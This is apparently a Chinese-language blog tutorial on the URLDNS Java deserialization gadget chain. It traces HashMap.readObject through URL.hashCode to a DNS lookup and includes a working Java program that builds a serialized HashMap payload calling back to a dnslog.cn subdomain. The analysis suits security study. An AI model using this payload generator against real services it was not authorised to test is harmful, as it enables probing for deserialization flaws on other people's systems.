【java安全】URL链拆解

java安全-反序列化-URL链拆解

URLDNS 链是 Java 反序列化中最基础、最经典的利用链之一,核心特点是不依赖第三方库、仅使用 JDK 原生类,且利用 DNS 请求来验证反序列化触发(无代码执行,仅用于探测是否存在反序列化漏洞)。本文从原理、断点调试、手动构造三个维度彻底解析 URLDNS 链。

URLDNS 链核心原理

1. 核心触发逻辑

URLDNS 链的本质是利用HashMap的反序列化机制,触发URL类的hashCode()方法,进而发起 DNS 请求。核心调用链:

复制代码
HashMap.readObject() → HashMap.hash() → URL.hashCode() → URLStreamHandler.hashCode() → InetAddress.getByName() (DNS解析)

2. 关键类 / 方法说明

类 / 方法 作用
HashMap 反序列化入口,readObject方法会遍历恢复键值对,触发键的hashCode()
URL 核心触发类,hashCode()方法会调用handler.hashCode()发起 DNS 请求
URLStreamHandler URL的内部类,实际执行 DNS 解析的逻辑
InetAddress.getByName() JDK 底层方法,发起 DNS A/AAAA 记录查询(核心 DNS 请求触发点)

3. 源码分析

在反序列化时,先会调用HashMap#readObject()方法

java 复制代码
private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

最后循环取出键值,然后调用

java 复制代码
putVal(hash(key), key, value, false, false);

这里调用了HashMap.hash()

java 复制代码
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

当key变量类型为URL时,会调用URL.hashCode(),不过需要满足条件key不等于null

java 复制代码
public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

想使得执行

java 复制代码
 hashCode = handler.hashCode(this);

必须满足条件hashCode等于1

handler.hashCode(this) 就是执行了URLStreamHandler.hashCode()方法

这下面就有这样一行代码

java 复制代码
InetAddress addr = getHostAddress(u);

getHostAddress()方法就会使得发起DNS解析请求

4. 手搓URLDNS链

通过类反射

java 复制代码
package com.qdy;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNSDebug {
    // 序列化方法:修复hashCode+hostAddress双重置
    public static void serUrlDns() throws Exception {
        // 构造恶意HashMap,key为URL(指向DNSLog地址)
        HashMap<URL, String> hashMap = new HashMap<>();
        String dnsLog = "fdw8yb.dnslog.cn";
        URL url = new URL("http://" + dnsLog);
        Class<?> urlClass = URL.class;
        // 通过反射修改URL的hashCode为非-1后再上传HashMap中(避免提前触发)
        Field hashCodeField = urlClass.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 1);
        // 将dnslog地址以key传入,值随意
        hashMap.put(url, null);
        // 上传后再将hashCode改为适配条件的值:-1
        hashCodeField.set(url,-1);
        // 序列化
        try (FileOutputStream fos = new FileOutputStream("urldns.ser");
             ObjectOutputStream oos = new ObjectOutputStream(fos)) {
            oos.writeObject(hashMap);
            System.out.println("序列化至文件成功");
        }
    }

    // 反序列化方法
    public static void deserUrlDns() throws Exception {
        try (FileInputStream fis = new FileInputStream("urldns.ser");
             ObjectInputStream ois = new ObjectInputStream(fis)) {
            ois.readObject(); // 此处必触发DNS
        }
        System.out.println("反序列化完成,查看DNSLog");
    }

    public static void main(String[] args) throws Exception {
        serUrlDns();
//      deserUrlDns();
    }
}

运行后成功生成该链到urldns.ser文件内

然后执行反序列化

成功

相关推荐
CRMEB系统商城8 分钟前
开源自建还是SaaS订阅?算一笔3年经济账
java·大数据·开发语言·开源
王维同学1 小时前
[自学][Windows C++]RunOnceEx 注册表分组键的安全遍历
c++·windows·安全·开源
keyipatience1 小时前
线程栈与TLS和线程互斥
java·linux·服务器·开发语言·ubuntu
我的xiaodoujiao1 小时前
快速学习Python基础知识详细图文教程9--函数进阶
开发语言·python·学习·测试工具
weixin_408099672 小时前
2026 图片去水印 API 接口完全指南:一键去除图片水印(附 Python/Java/PHP/C# 示例)
java·python·php·图片处理·api调用·图片去水印·石榴智能
爱喝水的鱼丶2 小时前
SAP-ABAP:ALV通用封装实践——搭建可复用的ALV开发工具类,减少80%重复代码
开发语言·性能优化·sap·abap·erp·alv
钱六两2 小时前
#3、SpringAI 接入deepSeek大模型(喂饭版)
java·spring boot·ai编程
脱胎换骨-军哥2 小时前
C++/Rust无缝互操作:混合系统新常态
开发语言·c++·rust
川石课堂软件测试3 小时前
安全测试|常见SQL注入攻击方式、实例及预防
服务器·数据库·sql·功能测试·测试工具·安全·单元测试
songroom3 小时前
Kimi K3:Rust封装XTP接口详细教程实践
开发语言·后端·rust